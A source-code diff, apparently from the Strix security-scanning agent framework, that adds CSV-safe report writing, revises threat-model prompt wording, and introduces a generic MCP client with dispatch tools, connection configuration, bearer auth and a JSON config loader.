||||
"id": csv_safe(report["id"]),
|
||||
"title": csv_safe(report["title"]),
|
||||
"severity": csv_safe(report["severity"].upper()),
|
||||
"timestamp": csv_safe(report["timestamp"]),
|
||||
"file": csv_safe(f"vulnerabilities/{report['id']}.md"),
|
||||
},
|
||||
)
|
||||
atomic_write_text(csv_path, csv_buf.getvalue())
|
||||
@@ -176,11 +199,17 @@ def write_vulnerabilities(
|
||||
|
||||
|
||||
def atomic_write_text(path: Path, payload: str) -> None:
|
||||
"""Write *payload* to *path* via a sibling temp file and an atomic rename."""
|
||||
"""Write *payload* to *path* via a sibling temp file and an atomic rename.
|
||||
|
||||
``newline=""`` disables newline translation so *payload* lands byte-for-byte:
|
||||
the CSV index carries its own ``\\r\\n`` terminators, which text mode would turn
|
||||
into ``\\r\\r\\n`` on Windows.
|
||||
"""
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
with tempfile.NamedTemporaryFile(
|
||||
mode="w",
|
||||
encoding="utf-8",
|
||||
newline="",
|
||||
dir=str(path.parent),
|
||||
prefix=f".{path.name}.",
|
||||
suffix=".tmp",
|
||||
|
||||
@@ -27,7 +27,7 @@ Before spawning agents, analyze the target from the scan config/scope and any pr
|
||||
|
||||
## Establish the Threat Model
|
||||
|
||||
Every scan needs one shared answer to "who is the attacker here, and what are they attacking" — black-box or white-box. Without it, five agents derive five different answers and their findings cannot be reconciled. Call `get_threat_model` on the target (a host, a URL, or a repository path) before you spawn hunters; if nothing is cached, derive one and persist it with `save_threat_model`. It is cached per target, so a later scan of the same host or tree reads it back instead of paying for it twice, and a model written from source is read back by an agent testing the deployment.
|
||||
Every scan needs one shared answer to "who is the attacker here, and what are they attacking" — black-box or white-box. Without it, five agents derive five different answers and their findings cannot be reconciled. Call `get_threat_model` on the target (a host, a URL, or a repository path) before you spawn hunters; if no model exists yet, derive one and share it with `save_threat_model`. It lives for this scan only — nothing carries over from an earlier run, so every scan derives its own — but within the run every agent reads the same document, and a model written from source is read back by an agent testing the deployment.
|
||||
|
||||
**When the target includes a repository**, derive it up front: the code tells you the boundaries, entrypoints, and controls before you send a single request.
|
||||
|
||||
|
||||
59
strix/tools/mcp/__init__.py
Normal file
59
strix/tools/mcp/__init__.py
Normal file
@@ -0,0 +1,59 @@
|
||||
"""Generic MCP client: connect MCP servers and reach their tools on demand."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from strix.tools.mcp.agent_tools import call_mcp, describe_mcp, list_mcps
|
||||
from strix.tools.mcp.client import (
|
||||
ConnectedMcpServer,
|
||||
attach_mcp_requests,
|
||||
connect_mcp_servers,
|
||||
)
|
||||
from strix.tools.mcp.config import (
|
||||
BearerAuth,
|
||||
McpAuth,
|
||||
McpConnectionConfig,
|
||||
)
|
||||
from strix.tools.mcp.loader import load_user_mcp_configs
|
||||
from strix.tools.mcp.naming import namespaced_tool_name
|
||||
from strix.tools.mcp.registry import (
|
||||
CALL_MCP_TOOL,
|
||||
DESCRIBE_MCP_TOOL,
|
||||
MCP_DISPATCH_TOOLS,
|
||||
MCP_REGISTRY_CONTEXT_KEY,
|
||||
McpCallInfo,
|
||||
McpConnectionEntry,
|
||||
McpConnectionRequest,
|
||||
McpConnectionStatus,
|
||||
McpConnectionSummary,
|
||||
McpRegistry,
|
||||
resolve_mcp_call,
|
||||
)
|
||||
from strix.tools.mcp.session import McpConnectionUnavailableError, SupervisedMcpSession
|
||||
|
||||
|
||||
__all__ = [
|
||||
"CALL_MCP_TOOL",
|
||||
"DESCRIBE_MCP_TOOL",
|
||||
"MCP_DISPATCH_TOOLS",
|
||||
"MCP_REGISTRY_CONTEXT_KEY",
|
||||
"BearerAuth",
|
||||
"ConnectedMcpServer",
|
||||
"McpAuth",
|
||||
"McpCallInfo",
|
||||
"McpConnectionConfig",
|
||||
"McpConnectionEntry",
|
||||
"McpConnectionRequest",
|
||||
"McpConnectionStatus",
|
||||
"McpConnectionSummary",
|
||||
"McpConnectionUnavailableError",
|
||||
"McpRegistry",
|
||||
"SupervisedMcpSession",
|
||||
"attach_mcp_requests",
|
||||
"call_mcp",
|
||||
"connect_mcp_servers",
|
||||
"describe_mcp",
|
||||
"list_mcps",
|
||||
"load_user_mcp_configs",
|
||||
"namespaced_tool_name",
|
||||
"resolve_mcp_call",
|
||||
]
|
||||
188
strix/tools/mcp/agent_tools.py
Normal file
188
strix/tools/mcp/agent_tools.py
Normal file
@@ -0,0 +1,188 @@
|
||||
"""The three generic MCP dispatch tools every agent carries.
|
||||
|
||||
Under the generic-dispatch model an agent does not get one tool per MCP tool.
|
||||
It gets exactly these three and discovers connections on demand:
|
||||
|
||||
- ``list_mcps()`` returns the connections available this run — each connection's
|
||||
id, name, description, and tool count, with no tool schemas — so the model can
|
||||
discover what it can reach without any inventory in the system prompt.
|
||||
- ``describe_mcp(connection)`` returns, as text, one connection's tools with
|
||||
their names, descriptions, and JSON input schemas — the schemas the model
|
||||
needs, fetched on demand instead of loaded onto every request up front.
|
||||
- ``call_mcp(connection, tool, arguments)`` dispatches one call to a
|
||||
connection's tool and returns its result.
|
||||
|
||||
All three read the per-run :class:`~strix.tools.mcp.registry.McpRegistry` from the
|
||||
run context under :data:`~strix.tools.mcp.registry.MCP_REGISTRY_CONTEXT_KEY`. They
|
||||
are ordinary ``FunctionTool`` objects placed in the agent factory's base tool set,
|
||||
so the factory's output-bounding and disk-spill wrapping apply to their results
|
||||
automatically.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from agents import RunContextWrapper, function_tool
|
||||
|
||||
from strix.tools.mcp.client import _errored_tool_output
|
||||
from strix.tools.mcp.naming import namespaced_tool_name
|
||||
from strix.tools.mcp.registry import MCP_REGISTRY_CONTEXT_KEY, McpRegistry
|
||||
from strix.tools.mcp.session import McpConnectionUnavailableError
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from mcp.types import Tool as MCPTool
|
||||
|
||||
|
||||
def _registry_from_ctx(ctx: RunContextWrapper) -> McpRegistry | None:
|
||||
context = ctx.context if isinstance(ctx.context, dict) else {}
|
||||
registry = context.get(MCP_REGISTRY_CONTEXT_KEY)
|
||||
return registry if isinstance(registry, McpRegistry) else None
|
||||
|
||||
|
||||
_NO_CONNECTIONS = "No MCP connections are configured for this run."
|
||||
|
||||
|
||||
def _unknown_connection(connection: str, registry: McpRegistry) -> str:
|
||||
available = ", ".join(registry.names()) or "(none)"
|
||||
return f"Unknown MCP connection {connection!r}. Available connections: {available}."
|
||||
|
||||
|
||||
def _unavailable_connection(connection: str) -> str:
|
||||
return (
|
||||
f"MCP connection {connection!r} is unavailable: its live session failed and "
|
||||
"could not be reconnected, so it is unavailable for the rest of this run."
|
||||
)
|
||||
|
||||
|
||||
def _format_tool(tool: MCPTool) -> str:
|
||||
schema = json.dumps(tool.inputSchema or {"type": "object"}, indent=2, ensure_ascii=False)
|
||||
description = (tool.description or "").strip() or "(no description)"
|
||||
return f"- {tool.name}: {description}\n input schema:\n{schema}"
|
||||
|
||||
|
||||
@function_tool(timeout=60)
|
||||
async def list_mcps(ctx: RunContextWrapper) -> dict[str, Any]:
|
||||
"""List the MCP connections available this run, so you can discover them.
|
||||
|
||||
Read-only. Returns one entry per connection with its ``id`` (the exact name
|
||||
you pass to ``describe_mcp`` and ``call_mcp``), ``name``, ``description``, and
|
||||
``tool_count`` — no tool schemas. The three MCP tools work in order: call
|
||||
``list_mcps`` to discover the available connections, then ``describe_mcp`` on
|
||||
one connection to inspect its tools and their input schemas, then ``call_mcp``
|
||||
to run one of its tools. Returns an empty ``connections`` list when the run has
|
||||
no MCP connections.
|
||||
"""
|
||||
registry = _registry_from_ctx(ctx)
|
||||
if registry is None or not registry:
|
||||
return {"connections": []}
|
||||
dead_by_name = {status.name: status.dead for status in registry.statuses()}
|
||||
return {
|
||||
"connections": [
|
||||
{
|
||||
"id": summary.name,
|
||||
"name": summary.name,
|
||||
"description": summary.purpose,
|
||||
"tool_count": summary.tool_count,
|
||||
"dead": dead_by_name.get(summary.name, False),
|
||||
}
|
||||
for summary in registry.summaries()
|
||||
]
|
||||
}
|
||||
|
||||
|
||||
@function_tool(timeout=60)
|
||||
async def describe_mcp(ctx: RunContextWrapper, connection: str) -> str:
|
||||
"""List the tools one MCP connection offers, with their input schemas.
|
||||
|
||||
Read-only. Look up a connection by the id ``list_mcps`` reported for it; this
|
||||
returns each of its tools with the tool's name, description, and JSON input
|
||||
schema — the argument shape you pass to ``call_mcp``. Call this before
|
||||
``call_mcp`` on any connection you have not used yet. Nothing is fetched from
|
||||
or run against the connection's data.
|
||||
|
||||
Args:
|
||||
connection: The connection name exactly as reported by ``list_mcps``.
|
||||
"""
|
||||
registry = _registry_from_ctx(ctx)
|
||||
if registry is None or not registry:
|
||||
return _NO_CONNECTIONS
|
||||
entry = registry.get(connection)
|
||||
if entry is None:
|
||||
return _unknown_connection(connection, registry)
|
||||
try:
|
||||
tools = await entry.session.list_tools()
|
||||
except McpConnectionUnavailableError:
|
||||
return _unavailable_connection(connection)
|
||||
if not tools:
|
||||
return f"MCP connection {connection!r} offers no tools."
|
||||
header = f"MCP connection {connection!r} offers {len(tools)} tool(s):"
|
||||
body = "\n".join(_format_tool(tool) for tool in tools)
|
||||
return f"{header}\n{body}"
|
||||
|
||||
|
||||
@function_tool(timeout=120, strict_mode=False)
|
||||
async def call_mcp(
|
||||
ctx: RunContextWrapper,
|
||||
connection: str,
|
||||
tool: str,
|
||||
arguments: Any = None,
|
||||
) -> Any:
|
||||
"""Call one tool on one MCP connection and return its result.
|
||||
|
||||
Address the tool by the connection id from ``list_mcps`` and the tool name
|
||||
from ``describe_mcp`` on that connection. Pass the tool's arguments as an
|
||||
object matching the input schema ``describe_mcp`` showed for it (omit it, or
|
||||
pass an empty object, for a tool that takes no arguments).
|
||||
|
||||
Args:
|
||||
connection: The connection name exactly as reported by ``list_mcps``.
|
||||
tool: The tool name, exactly as reported by ``describe_mcp``.
|
||||
arguments: The tool's arguments as a JSON object of names to values (for
|
||||
example ``{"path": "app.py"}``), or omitted/empty for a tool that
|
||||
takes none. Pass an object, not a stringified one. Its shape is
|
||||
whatever ``describe_mcp`` showed for the tool rather than a shape this
|
||||
tool fixes in advance.
|
||||
"""
|
||||
registry = _registry_from_ctx(ctx)
|
||||
if registry is None or not registry:
|
||||
return _NO_CONNECTIONS
|
||||
entry = registry.get(connection)
|
||||
if entry is None:
|
||||
return _unknown_connection(connection, registry)
|
||||
invalid_arguments = (
|
||||
f"Invalid arguments for {connection!r}.{tool}: expected a JSON object of "
|
||||
"argument names to values, or none. Call describe_mcp for the input schema."
|
||||
)
|
||||
if isinstance(arguments, str):
|
||||
# The ``arguments`` parameter is schema-less (an open object is not
|
||||
# expressible as a strict tool schema), so some models serialize it as a
|
||||
# JSON string instead of a bare object. Accept a string that decodes to an
|
||||
# object so a correct call is not rejected over its encoding.
|
||||
stripped = arguments.strip()
|
||||
try:
|
||||
arguments = json.loads(stripped) if stripped else {}
|
||||
except json.JSONDecodeError:
|
||||
return invalid_arguments
|
||||
if arguments is not None and not isinstance(arguments, dict):
|
||||
return invalid_arguments
|
||||
try:
|
||||
available = await entry.session.list_tools()
|
||||
except McpConnectionUnavailableError:
|
||||
return _errored_tool_output(_unavailable_connection(connection))
|
||||
valid_names = {mcp_tool.name for mcp_tool in available}
|
||||
if tool not in valid_names:
|
||||
offered = ", ".join(sorted(valid_names)) or "(none)"
|
||||
return (
|
||||
f"Unknown tool {tool!r} on MCP connection {connection!r}. "
|
||||
f"Tools this connection offers: {offered}. "
|
||||
"Call describe_mcp for their input schemas."
|
||||
)
|
||||
return await entry.session.dispatch(
|
||||
tool,
|
||||
arguments or {},
|
||||
label=namespaced_tool_name(connection, tool),
|
||||
result_transform=entry.result_transform,
|
||||
)
|
||||
339
strix/tools/mcp/client.py
Normal file
339
strix/tools/mcp/client.py
Normal file
@@ -0,0 +1,339 @@
|
||||
"""Connect to MCP servers so a run can reach their tools on demand.
|
||||
|
||||
Given one :class:`McpConnectionConfig` per server, :func:`connect_mcp_servers`
|
||||
connects each server, counts the tools it offers (honoring the connection's
|
||||
allowlist), and returns the live sessions. It does NOT register anything as an
|
||||
agent tool: under the generic-dispatch model the run holds these sessions in a
|
||||
per-run :class:`~strix.tools.mcp.registry.McpRegistry`, and the agent reaches
|
||||
them through the two dispatch tools (``describe_mcp`` / ``call_mcp``), which call
|
||||
:func:`dispatch_mcp_call` here to run one tool and serialize its result.
|
||||
|
||||
A server that cannot connect is logged and skipped, so one bad connection never
|
||||
fails the run.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import contextlib
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any, NamedTuple, cast
|
||||
|
||||
from agents.mcp import (
|
||||
MCPServer,
|
||||
MCPServerStdio,
|
||||
MCPServerStdioParams,
|
||||
MCPServerStreamableHttp,
|
||||
MCPServerStreamableHttpParams,
|
||||
create_static_tool_filter,
|
||||
)
|
||||
from mcp.client.stdio import stdio_client
|
||||
|
||||
from strix.tools.mcp.session import McpConnectionUnavailableError, SupervisedMcpSession
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Callable
|
||||
|
||||
from strix.tools.mcp.config import McpConnectionConfig
|
||||
from strix.tools.mcp.registry import McpConnectionRequest, McpRegistry
|
||||
|
||||
# Runs on one tool call's structured result before it reaches the agent.
|
||||
# Called ``result_transform(label, structured_result)`` and its return value
|
||||
# becomes the tool's output. ``label`` is the model-facing
|
||||
# ``<connection>_<tool>`` name so a transform keyed on names still resolves
|
||||
# the same way it did under per-tool registration; ``structured_result`` is
|
||||
# the parsed ``CallToolResult`` as a dict (not a serialized string), so the
|
||||
# transform can project or drop individual fields.
|
||||
ResultTransform = Callable[[str, Any], Any]
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ConnectedMcpServer(NamedTuple):
|
||||
"""One successfully connected MCP connection and how many tools it offers.
|
||||
|
||||
``session`` is the :class:`~strix.tools.mcp.session.SupervisedMcpSession` that
|
||||
owns the live connection on its own task, so the caller cleans it up when the
|
||||
run ends (``await session.aclose()``) and hands it to the run's
|
||||
:class:`~strix.tools.mcp.registry.McpRegistry`; ``name`` and ``tool_count``
|
||||
let the caller show the user a startup summary and fill the prompt inventory;
|
||||
``notes`` carries the connection's optional free-text description so the
|
||||
caller can surface it as the connection's purpose in the inventory.
|
||||
"""
|
||||
|
||||
session: SupervisedMcpSession
|
||||
name: str
|
||||
tool_count: int
|
||||
notes: str | None = None
|
||||
|
||||
|
||||
def _auth_headers(config: McpConnectionConfig) -> dict[str, str]:
|
||||
"""Build the per-server request headers from the connection's auth."""
|
||||
auth = config.auth
|
||||
if auth is None:
|
||||
return {}
|
||||
return {"Authorization": f"Bearer {auth.token}"}
|
||||
|
||||
|
||||
@contextlib.asynccontextmanager
|
||||
async def _quiet_stdio_streams(params: Any) -> Any:
|
||||
"""Run a stdio MCP server with its stderr sent to the void.
|
||||
|
||||
A stdio MCP server chats on stderr as it boots (the filesystem server, for
|
||||
one, prints ``Allowed directories: [ ... ]``). The mcp library forwards that
|
||||
stderr to the parent's ``sys.stderr`` by default, which is the terminal the
|
||||
TUI is drawing on, so the banner corrupts the display. Pointing ``errlog`` at
|
||||
``os.devnull`` drops that chatter. Connection failures are unaffected: they
|
||||
still raise from ``connect`` and are logged by :func:`connect_mcp_servers`.
|
||||
"""
|
||||
with Path(os.devnull).open("w", encoding="utf-8") as errlog:
|
||||
async with stdio_client(params, errlog=errlog) as streams:
|
||||
yield streams
|
||||
|
||||
|
||||
class _QuietMCPServerStdio(MCPServerStdio):
|
||||
"""``MCPServerStdio`` whose subprocess stderr is kept off the terminal.
|
||||
|
||||
The SDK's ``create_streams`` calls ``stdio_client(self.params)`` with no
|
||||
``errlog``, so the subprocess stderr defaults to ``sys.stderr`` and paints
|
||||
server banners over the running TUI. Overriding it lets us redirect that
|
||||
stream; everything else about the stdio transport is unchanged.
|
||||
"""
|
||||
|
||||
def create_streams(self) -> Any:
|
||||
return _quiet_stdio_streams(self.params)
|
||||
|
||||
|
||||
def _build_server(config: McpConnectionConfig) -> MCPServer:
|
||||
"""Construct (but do not connect) the SDK server for one connection.
|
||||
|
||||
When ``allowed_tools`` is a list the static filter means the server will not
|
||||
even list tools outside it, so it is the authoritative gate on what
|
||||
``describe_mcp`` and ``call_mcp`` can see. When it is ``None`` no filter is
|
||||
applied and every listed tool is reachable.
|
||||
"""
|
||||
tool_filter = (
|
||||
create_static_tool_filter(allowed_tool_names=config.allowed_tools)
|
||||
if config.allowed_tools is not None
|
||||
else None
|
||||
)
|
||||
|
||||
if config.transport == "stdio":
|
||||
stdio_params: MCPServerStdioParams = {
|
||||
"command": cast("str", config.command),
|
||||
"args": config.args,
|
||||
"env": config.env,
|
||||
}
|
||||
return _QuietMCPServerStdio(
|
||||
params=stdio_params,
|
||||
name=config.name,
|
||||
tool_filter=tool_filter,
|
||||
cache_tools_list=True,
|
||||
)
|
||||
|
||||
http_params: MCPServerStreamableHttpParams = {
|
||||
"url": cast("str", config.url),
|
||||
"headers": _auth_headers(config),
|
||||
}
|
||||
return MCPServerStreamableHttp(
|
||||
params=http_params,
|
||||
name=config.name,
|
||||
tool_filter=tool_filter,
|
||||
cache_tools_list=True,
|
||||
)
|
||||
|
||||
|
||||
def _mcp_result_to_tool_output(server: MCPServer, result: Any) -> Any:
|
||||
"""Serialize a ``CallToolResult`` to a tool output, mirroring the agents SDK.
|
||||
|
||||
This reproduces the serialization in ``agents.mcp.util.MCPUtil.invoke_mcp_tool``
|
||||
(structured-content JSON when the server asks for it, otherwise text/image
|
||||
content blocks, unwrapping a single block). Because the dispatch tool routes
|
||||
its own call, this is what makes the agent see byte-identical content to what
|
||||
the SDK would have produced building the tool itself.
|
||||
"""
|
||||
if getattr(server, "use_structured_content", False) and result.structuredContent:
|
||||
return json.dumps(result.structuredContent)
|
||||
|
||||
outputs: list[dict[str, Any]] = []
|
||||
for item in result.content:
|
||||
if item.type == "text":
|
||||
outputs.append({"type": "text", "text": item.text})
|
||||
elif item.type == "image":
|
||||
outputs.append(
|
||||
{"type": "image", "image_url": f"data:{item.mimeType};base64,{item.data}"}
|
||||
)
|
||||
else:
|
||||
outputs.append({"type": "text", "text": str(item.model_dump(mode="json"))})
|
||||
if len(outputs) == 1:
|
||||
return outputs[0]
|
||||
return outputs
|
||||
|
||||
|
||||
async def dispatch_mcp_call(
|
||||
server: MCPServer,
|
||||
tool_name: str,
|
||||
arguments: dict[str, Any],
|
||||
*,
|
||||
label: str,
|
||||
result_transform: ResultTransform | None = None,
|
||||
) -> Any:
|
||||
"""Run one MCP tool call and convert its result to a tool output.
|
||||
|
||||
Shared single dispatch point for the generic ``call_mcp`` tool. Calls
|
||||
``server.call_tool`` with the tool's unprefixed name, then:
|
||||
|
||||
- with a ``result_transform`` (strix-pro's sanitizer), hands the parsed
|
||||
:class:`CallToolResult` to it as ``result_transform(label, structured)`` and
|
||||
returns whatever the transform returns; or
|
||||
- without one, serializes the result the way the agents SDK does (see
|
||||
:func:`_mcp_result_to_tool_output`) and, when the result is an MCP error,
|
||||
normalizes it through :func:`_errored_tool_output` so the failure reaches
|
||||
the interfaces (see that function for the representation and why it does not
|
||||
corrupt the content the agent receives).
|
||||
"""
|
||||
result = await server.call_tool(tool_name, arguments)
|
||||
if result_transform is not None:
|
||||
return result_transform(label, result.model_dump(mode="json"))
|
||||
tool_output = _mcp_result_to_tool_output(server, result)
|
||||
if getattr(result, "isError", False):
|
||||
return _errored_tool_output(tool_output)
|
||||
return tool_output
|
||||
|
||||
|
||||
def _errored_tool_output(tool_output: Any) -> dict[str, Any]:
|
||||
"""Tag a serialized MCP error so the interfaces render it as failed.
|
||||
|
||||
Both the TUI and the run viewer decide a tool call failed by reading a
|
||||
``success`` key off a top-level dict in the result (``success is False`` means
|
||||
failed). :func:`_mcp_result_to_tool_output` returns a dict only for a single
|
||||
content block; a structured-content result comes back as a string and a
|
||||
multi-block result as a list, and on those the failure flag had nowhere to
|
||||
ride, so the interfaces showed a failed call as done. This normalizes every
|
||||
errored result to a top-level dict carrying ``success: False``:
|
||||
|
||||
- a single content block (already a dict) keeps its ``type``/``text`` and gains
|
||||
``success: False`` alongside. The SDK's ToolOutput projection keeps the known
|
||||
``type``/``text`` fields and drops ``success`` before the agent sees it, so
|
||||
the agent still receives exactly the error content;
|
||||
- a list (multiple blocks) or a string (structured content) is placed under a
|
||||
stable ``content`` key so the flag has a top-level dict to ride on. The agent
|
||||
still receives the full error content, under ``content``, rather than losing
|
||||
it.
|
||||
"""
|
||||
if isinstance(tool_output, dict):
|
||||
return {**tool_output, "success": False}
|
||||
return {"success": False, "content": tool_output}
|
||||
|
||||
|
||||
async def _count_session_tools(config: McpConnectionConfig, session: SupervisedMcpSession) -> int:
|
||||
"""Count a connected session's reachable tools for the startup summary.
|
||||
|
||||
``allowed_tools`` of ``None`` counts every listed tool; a list counts only
|
||||
those names. The count matches what ``describe_mcp`` will show, because the
|
||||
static tool filter built in :func:`_build_server` restricts the server's own
|
||||
``list_tools`` to the same allowlist. The listing goes through the session's
|
||||
owning task like every other call.
|
||||
"""
|
||||
allowed = config.allowed_tools
|
||||
mcp_tools = await session.list_tools()
|
||||
return sum(1 for mcp_tool in mcp_tools if allowed is None or mcp_tool.name in allowed)
|
||||
|
||||
|
||||
async def connect_mcp_servers(
|
||||
configs: list[McpConnectionConfig],
|
||||
) -> list[ConnectedMcpServer]:
|
||||
"""Connect each MCP config on its own supervising task and return the sessions.
|
||||
|
||||
Each connection becomes a :class:`~strix.tools.mcp.session.SupervisedMcpSession`
|
||||
that owns ``connect()``, the held-open session, and ``cleanup()`` on one
|
||||
dedicated task, so a later background failure in one session is contained to
|
||||
that task and never cancels the run. Returns one :class:`ConnectedMcpServer`
|
||||
per session that connected, carrying the session (the caller closes it with
|
||||
``await session.aclose()`` when the run ends and hands it to the run's
|
||||
registry) plus the connection name, tool count, and notes. A connection whose
|
||||
initial connect fails is skipped rather than raised (fail-open).
|
||||
|
||||
If this coroutine is itself cancelled mid-attach (the run going down), every
|
||||
session started so far is closed on its own task before the cancellation is
|
||||
re-raised, so nothing is orphaned.
|
||||
|
||||
Nothing is registered as an agent tool: the caller builds a per-run
|
||||
:class:`~strix.tools.mcp.registry.McpRegistry` from these sessions, and the
|
||||
agent reaches each tool on demand through ``describe_mcp`` / ``call_mcp``.
|
||||
"""
|
||||
connected: list[ConnectedMcpServer] = []
|
||||
sessions: list[SupervisedMcpSession] = []
|
||||
try:
|
||||
for config in configs:
|
||||
session = SupervisedMcpSession(config)
|
||||
sessions.append(session)
|
||||
if not await session.start():
|
||||
# Initial connect failed; already logged inside the session. Drop it.
|
||||
await session.aclose()
|
||||
sessions.remove(session)
|
||||
continue
|
||||
try:
|
||||
tool_count = await _count_session_tools(config, session)
|
||||
except McpConnectionUnavailableError:
|
||||
# The session died between connecting and its first listing; skip it.
|
||||
logger.warning("MCP connection %r died before its first listing", config.name)
|
||||
await session.aclose()
|
||||
sessions.remove(session)
|
||||
continue
|
||||
logger.info("Connected MCP server %r (%d tools)", config.name, tool_count)
|
||||
connected.append(
|
||||
ConnectedMcpServer(
|
||||
session=session, name=config.name, tool_count=tool_count, notes=config.notes
|
||||
)
|
||||
)
|
||||
except BaseException:
|
||||
# Cancelled or errored mid-attach: close every session started so far,
|
||||
# each on its own task, then re-raise. The runner only receives the list
|
||||
# on a clean return, so on an abnormal exit this function owns the cleanup.
|
||||
for session in sessions:
|
||||
with contextlib.suppress(BaseException):
|
||||
await session.aclose()
|
||||
raise
|
||||
|
||||
return connected
|
||||
|
||||
|
||||
async def attach_mcp_requests(
|
||||
requests: list[McpConnectionRequest],
|
||||
registry: McpRegistry,
|
||||
) -> list[ConnectedMcpServer]:
|
||||
"""Connect a caller's MCP requests and populate the run's registry.
|
||||
|
||||
The one shared attach-and-populate path both the command-line and the
|
||||
SaaS/pro product go through, so all connecting and cleanup lives in one owner.
|
||||
The caller supplies inert :class:`McpConnectionRequest` objects (a config plus
|
||||
a provider label, an optional per-connection ``result_transform``, and an
|
||||
optional ``purpose``) and never a live session: the engine connects each
|
||||
config here, reusing :func:`connect_mcp_servers` so the fail-open behavior (a
|
||||
connection that will not connect is logged and skipped) and the cancellation
|
||||
cleanup are preserved unchanged.
|
||||
|
||||
For each connection that came up, this registers it under its config name with
|
||||
its tool count, its ``provider`` label, its ``result_transform``, and a purpose
|
||||
of ``request.purpose`` when set else the connection's notes. Returns the
|
||||
connected servers (the runner records them and cleans them up when the run
|
||||
ends).
|
||||
"""
|
||||
request_by_name = {request.config.name: request for request in requests}
|
||||
connections = await connect_mcp_servers([request.config for request in requests])
|
||||
for connection in connections:
|
||||
request = request_by_name[connection.name]
|
||||
registry.add(
|
||||
name=connection.name,
|
||||
session=connection.session,
|
||||
tool_count=connection.tool_count,
|
||||
purpose=request.purpose or connection.notes,
|
||||
provider=request.provider,
|
||||
result_transform=request.result_transform,
|
||||
)
|
||||
return connections
|
||||
74
strix/tools/mcp/config.py
Normal file
74
strix/tools/mcp/config.py
Normal file
@@ -0,0 +1,74 @@
|
||||
"""The connection-config contract for the MCP client.
|
||||
|
||||
Describes one MCP server the client can connect to: its transport, endpoint or
|
||||
launch command, optional auth, and an optional tool allowlist. Field names are
|
||||
stable; callers build against them.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Annotated, Literal
|
||||
|
||||
from pydantic import BaseModel, ConfigDict, Field, model_validator
|
||||
|
||||
|
||||
class BearerAuth(BaseModel):
|
||||
"""Header-token auth, sent as ``Authorization: Bearer <token>``."""
|
||||
|
||||
model_config = ConfigDict(extra="forbid")
|
||||
|
||||
kind: Literal["bearer"] = "bearer"
|
||||
token: str = Field(min_length=1, repr=False)
|
||||
|
||||
|
||||
McpAuth = Annotated[BearerAuth, Field(discriminator="kind")]
|
||||
|
||||
|
||||
class McpConnectionConfig(BaseModel):
|
||||
"""One MCP server the client can connect to.
|
||||
|
||||
Two transports are supported: streamable ``http`` (a remote endpoint) and
|
||||
``stdio`` (a local server launched as a subprocess).
|
||||
"""
|
||||
|
||||
model_config = ConfigDict(extra="forbid")
|
||||
|
||||
name: str = Field(min_length=1)
|
||||
"""Namespaced tool prefix, unique per run (e.g. ``github``)."""
|
||||
|
||||
transport: Literal["http", "stdio"] = "http"
|
||||
"""``http`` for a streamable HTTP endpoint, ``stdio`` for a local subprocess."""
|
||||
|
||||
url: str | None = Field(default=None, min_length=1)
|
||||
"""The MCP server endpoint. Required for ``http``."""
|
||||
|
||||
auth: McpAuth | None = None
|
||||
"""Bearer token for the server. Optional; a local stdio server usually
|
||||
needs none."""
|
||||
|
||||
command: str | None = Field(default=None, min_length=1)
|
||||
"""The executable to launch for ``stdio``. Required for ``stdio``."""
|
||||
|
||||
args: list[str] = Field(default_factory=list)
|
||||
"""Arguments passed to ``command`` (stdio only)."""
|
||||
|
||||
env: dict[str, str] = Field(default_factory=dict)
|
||||
"""Extra environment variables for the stdio subprocess."""
|
||||
|
||||
allowed_tools: list[str] | None = None
|
||||
"""Tool allowlist, applied after the server lists its tools. ``None`` (the
|
||||
default) exposes every tool the server lists; a list restricts to it."""
|
||||
|
||||
notes: str | None = None
|
||||
"""Free-text notes for the agent describing what this connection is and how
|
||||
to use it. When set, the note becomes the connection's purpose line in the
|
||||
MCP inventory every agent renders in its prompt, so it describes the
|
||||
connection once rather than being repeated onto each of its tools."""
|
||||
|
||||
@model_validator(mode="after")
|
||||
def _check_transport_fields(self) -> McpConnectionConfig:
|
||||
if self.transport == "http" and not self.url:
|
||||
raise ValueError("an http MCP connection requires 'url'")
|
||||
if self.transport == "stdio" and not self.command:
|
||||
raise ValueError("a stdio MCP connection requires 'command'")
|
||||
return self
|
||||
133
strix/tools/mcp/loader.py
Normal file
133
strix/tools/mcp/loader.py
Normal file
@@ -0,0 +1,133 @@
|
||||
"""Read the open-source user's MCP servers from ``~/.strix/mcp-servers.json``.
|
||||
|
||||
An open-source user lists the MCP servers they want the agent to reach in a
|
||||
small JSON file. Strix reads it at the start of a run and connects to each
|
||||
server, holding the live sessions in the run's registry for the agent to reach
|
||||
on demand. The file is optional; without it the run simply gets no MCP
|
||||
connections.
|
||||
|
||||
Parsing is fail-open. A single malformed entry is logged and skipped rather than
|
||||
raising, so one bad row never blocks the servers that are valid, and a missing
|
||||
or unreadable file yields an empty list.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
from pathlib import Path
|
||||
from typing import cast
|
||||
|
||||
from pydantic import ValidationError
|
||||
|
||||
from strix.tools.mcp.config import McpConnectionConfig
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
_DEFAULT_PATH: Path = Path.home() / ".strix" / "mcp-servers.json"
|
||||
_PATH_ENV_VAR = "STRIX_MCP_CONFIG"
|
||||
# Per-run selection, set by the --mcp-server / --mcp-exclude CLI flags. Each is a
|
||||
# comma-separated list of connection names.
|
||||
_ONLY_ENV_VAR = "STRIX_MCP_ONLY"
|
||||
_EXCLUDE_ENV_VAR = "STRIX_MCP_EXCLUDE"
|
||||
|
||||
|
||||
def _resolve_path(path: Path | None) -> Path:
|
||||
if path is not None:
|
||||
return path
|
||||
override = os.environ.get(_PATH_ENV_VAR)
|
||||
if override:
|
||||
return Path(override)
|
||||
return _DEFAULT_PATH
|
||||
|
||||
|
||||
